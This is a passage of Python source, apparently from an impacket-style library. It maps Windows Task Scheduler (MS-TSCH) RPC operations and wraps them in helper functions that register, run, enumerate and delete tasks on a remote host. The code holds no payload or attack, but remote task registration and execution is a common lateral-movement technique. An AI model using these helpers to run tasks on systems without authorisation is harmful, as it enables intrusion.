0 : (SchRpcHighestVersion,SchRpcHighestVersionResponse ),
1 : (SchRpcRegisterTask,SchRpcRegisterTaskResponse ),
2 : (SchRpcRetrieveTask,SchRpcRetrieveTaskResponse ),
3 : (SchRpcCreateFolder,SchRpcCreateFolderResponse ),
6 : (SchRpcEnumFolders,SchRpcEnumFoldersResponse ),
7 : (SchRpcEnumTasks,SchRpcEnumTasksResponse ),
8 : (SchRpcEnumInstances,SchRpcEnumInstancesResponse ),
9 : (SchRpcGetInstanceInfo,SchRpcGetInstanceInfoResponse ),
10 : (SchRpcStopInstance,SchRpcStopInstanceResponse ),
11 : (SchRpcStop,SchRpcStopResponse ),
12 : (SchRpcRun,SchRpcRunResponse ),
13 : (SchRpcDelete,SchRpcDeleteResponse ),
14 : (SchRpcRename,SchRpcRenameResponse ),
15 : (SchRpcScheduledRuntimes,SchRpcScheduledRuntimesResponse ),
16 : (SchRpcGetLastRunInfo,SchRpcGetLastRunInfoResponse ),
17 : (SchRpcGetTaskInfo,SchRpcGetTaskInfoResponse ),
18 : (SchRpcGetNumberOfMissedRuns,SchRpcGetNumberOfMissedRunsResponse),
}
################################################################################
# HELPER FUNCTIONS
################################################################################
def checkNullString(string):
if string == NULL:
return string
if string[-1:] != '\x00':
return string + '\x00'
else:
return string
def hSchRpcHighestVersion(dce):
return dce.request(SchRpcHighestVersion())
def hSchRpcRegisterTask(dce, path, xml, flags, sddl, logonType, pCreds = ()):
request = SchRpcRegisterTask()
request['path'] = checkNullString(path)
request['xml'] = checkNullString(xml)
request['flags'] = flags
request['sddl'] = sddl
request['logonType'] = logonType
request['cCreds'] = len(pCreds)
if len(pCreds) == 0:
request['pCreds'] = NULL
else:
for cred in pCreds:
request['pCreds'].append(cred)
return dce.request(request)
def hSchRpcRetrieveTask(dce, path, lpcwszLanguagesBuffer = '\x00', pulNumLanguages=0 ):
schRpcRetrieveTask = SchRpcRetrieveTask()
schRpcRetrieveTask['path'] = checkNullString(path)
schRpcRetrieveTask['lpcwszLanguagesBuffer'] = lpcwszLanguagesBuffer
schRpcRetrieveTask['pulNumLanguages'] = pulNumLanguages
return dce.request(schRpcRetrieveTask)
def hSchRpcCreateFolder(dce, path, sddl = NULL):
schRpcCreateFolder = SchRpcCreateFolder()
schRpcCreateFolder['path'] = checkNullString(path)
schRpcCreateFolder['sddl'] = sddl
schRpcCreateFolder['flags'] = 0
return dce.request(schRpcCreateFolder)
def hSchRpcEnumFolders(dce, path, flags=TASK_ENUM_HIDDEN, startIndex=0, cRequested=0xffffffff):
schRpcEnumFolders = SchRpcEnumFolders()
schRpcEnumFolders['path'] = checkNullString(path)
schRpcEnumFolders['flags'] = flags
schRpcEnumFolders['startIndex'] = startIndex
schRpcEnumFolders['cRequested'] = cRequested
return dce.request(schRpcEnumFolders)
def hSchRpcEnumTasks(dce, path, flags=TASK_ENUM_HIDDEN, startIndex=0, cRequested=0xffffffff):
schRpcEnumTasks = SchRpcEnumTasks()
schRpcEnumTasks['path'] = checkNullString(path)
schRpcEnumTasks['flags'] = flags
schRpcEnumTasks['startIndex'] = startIndex
schRpcEnumTasks['cRequested'] = cRequested
return dce.request(schRpcEnumTasks)
def hSchRpcEnumInstances(dce, path, flags=TASK_ENUM_HIDDEN):
schRpcEnumInstances = SchRpcEnumInstances()
schRpcEnumInstances['path'] = checkNullString(path)
schRpcEnumInstances['flags'] = flags
return dce.request(schRpcEnumInstances)
def hSchRpcGetInstanceInfo(dce, guid):
schRpcGetInstanceInfo = SchRpcGetInstanceInfo()
schRpcGetInstanceInfo['guid'] = guid
return dce.request(schRpcGetInstanceInfo)
def hSchRpcStopInstance(dce, guid, flags = 0):
schRpcStopInstance = SchRpcStopInstance()
schRpcStopInstance['guid'] = guid
schRpcStopInstance['flags'] = flags
return dce.request(schRpcStopInstance)
def hSchRpcStop(dce, path, flags = 0):
schRpcStop= SchRpcStop()
schRpcStop['path'] = path
schRpcStop['flags'] = flags
return dce.request(schRpcStop)
def hSchRpcRun(dce, path, pArgs=(), flags=0, sessionId=0, user = NULL):
schRpcRun = SchRpcRun()
schRpcRun['path'] = checkNullString(path)
schRpcRun['cArgs'] = len(pArgs)
for arg in pArgs:
argn = LPWSTR()
argn['Data'] = checkNullString(arg)
schRpcRun['pArgs'].append(argn)
schRpcRun['flags'] = flags
schRpcRun['sessionId'] = sessionId
schRpcRun['user'] = user
return dce.request(schRpcRun)
def hSchRpcDelete(dce, path, flags = 0):
schRpcDelete = SchRpcDelete()
schRpcDelete['path'] = checkNullString(path)
schRpcDelete['flags'] = flags
return dce.request(schRpcDelete)
def hSchRpcRename(dce, path, newName, flags = 0):
schRpcRename = SchRpcRename()
schRpcRename['path'] = checkNullString(path)
schRpcRename['newName'] = checkNullString(newName)
schRpcRename['flags'] = flags
return dce.request(schRpcRename)
def hSchRpcScheduledRuntimes(dce, path, start = NULL, end = NULL, flags = 0, cRequested = 10):
schRpcScheduledRuntimes = SchRpcScheduledRuntimes()
schRpcScheduledRuntimes['path'] = checkNullString(path)
schRpcScheduledRuntimes['start'] = start
schRpcScheduledRuntimes['end'] = end
schRpcScheduledRuntimes['flags'] = flags
schRpcScheduledRuntimes['cRequested'] = cRequested
return dce.request(schRpcScheduledRuntimes)
def hSchRpcGetLastRunInfo(dce, path):
schRpcGetLastRunInfo = SchRpcGetLastRunInfo()
schRpcGetLastRunInfo['path'] = checkNullString(path)
return dce.request(schRpcGetLastRunInfo)
def hSchRpcGetTaskInfo(dce, path, flags = 0):
schRpcGetTaskInfo = SchRpcGetTaskInfo()
schRpcGetTaskInfo['path'] = checkNullString(path)
schRpcGetTaskInfo['flags'] = flags
return dce.request(schRpcGetTaskInfo)
def hSchRpcGetNumberOfMissedRuns(dce, path):
schRpcGetNumberOfMissedRuns = SchRpcGetNumberOfMissedRuns()
schRpcGetNumberOfMissedRuns['path'] = checkNullString(path)
return dce.request(schRpcGetNumberOfMissedRuns)
def hSchRpcEnableTask(dce, path, enabled = True):
schRpcEnableTask = SchRpcEnableTask()
schRpcEnableTask['path'] = checkNullString(path)
if enabled is True:
schRpcEnableTask['enabled'] = 1
else:
schRpcEnableTask['enabled'] = 0
return dce.request(schRpcEnableTask)

Some files were not shown because too many files have changed in this diff Show More